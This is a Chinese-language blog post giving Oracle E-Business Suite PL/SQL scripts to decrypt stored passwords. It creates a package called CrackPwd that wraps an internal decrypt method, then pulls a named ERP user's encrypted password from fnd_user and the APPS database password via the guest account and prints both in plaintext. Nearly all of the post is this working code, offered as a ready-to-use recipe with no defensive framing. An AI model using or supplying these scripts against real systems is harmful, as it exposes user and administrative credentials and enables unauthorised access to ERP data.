• 查詢ORACLE 數據庫密碼和ERP 密碼


    1)先建立Package

    CREATE OR REPLACE PACKAGE APPS.CrackPwd AUTHID CURRENT_USER
    AS
       FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)
          RETURN VARCHAR2;
    END CrackPwd;
    /

    CREATE OR REPLACE PACKAGE BODY APPS.CrackPwd
    AS
       FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)
          RETURN VARCHAR2
       AS
          LANGUAGE JAVA
          NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';
    END CrackPwd;
    /

    2)建立後可以直接執行下面SQL

      DECLARE
       v_encrypted_pwd   VARCHAR2 (100);
       v_apps_pwd        VARCHAR2 (100);
       v_user_pwd        VARCHAR (100);
    BEGIN
      -- v_encrypted_pwd :='ZGF8C9616AD138A7F985E6316F55717D0F4EC37064A09A7F4DC67961E60A3880D8B00B3018595A4FB3E95B632AACC3376B61';
      select ENCRYPTED_USER_PASSWORD into v_encrypted_pwd from fnd_user where user_name='GAOLEI'; -----ERP帳號
    --get  ENCRYPTED_USER_PASSWORD from fnd_user
       IF v_apps_pwd IS NULL
       THEN
          v_apps_pwd := 'APPSDEV3';  ------DB數據庫名字
       END IF;

       v_user_pwd := crackpwd.getpwd (v_apps_pwd, v_encrypted_pwd);
       DBMS_OUTPUT.put_line (v_user_pwd);
    END;

    3)查詢數據庫名字(前提是要進入數據庫)

    SET SERVEROUTPUT ON
    DECLARE
      guestUserPwd VARCHAR2(200);
      guestUserName VARCHAR2(100);
      guestFndPwd VARCHAR2(100);
      guestEncFndPwd VARCHAR2(100);
      delim NUMBER;
    BEGIN
    guestUserPwd :='GUEST/ORACLE';--Can any user password
    IF  guestUserPwd IS NULL THEN
             guestUserPwd := UPPER(fnd_profile.value('GUEST_USER_PWD'));
      END IF;
      DBMS_OUTPUT.put_line(guestUserPwd);
      delim := INSTR(guestUserPwd,'/');
      guestUserName := UPPER(SUBSTR(guestUserPwd,1,delim-1));
      DBMS_OUTPUT.put_line(guestUserName);
       SELECT encrypted_foundation_password INTO guestEncFndPwd
      FROM fnd_user_view
      WHERE user_name = guestUserName AND (start_date <= SYSDATE) AND
        (end_date IS NULL OR end_date > SYSDATE);
         guestFndPwd :=CrackPwd.getpwd(guestUserPwd,guestEncFndPwd);
        IF NOT (guestFndPwd IS NULL) THEN
           DBMS_OUTPUT.put_line(guestFndPwd);
        END IF;
    END;

  • 相关阅读:
    Mysql::Error: Commands out of sync; you can't run this command now: SHOW TABLES解决方案
    mysql安装失败Error Nr. 1045
    TermServDevices 报错【远程服务使用者必读】
    数据库出现“提取逻辑页失败”
    Ruby学习——数据库操作
    VS2008 安装失败
    Ubuntu Server 安装图解
    C#的Enum——枚举
    SQLServer2005数据库被置为“可疑”
    ROR之include、extend、send对module、class进行扩展
  • 原文地址:https://www.cnblogs.com/zqmingok/p/2059701.html
Copyright © 2020-2023  润新知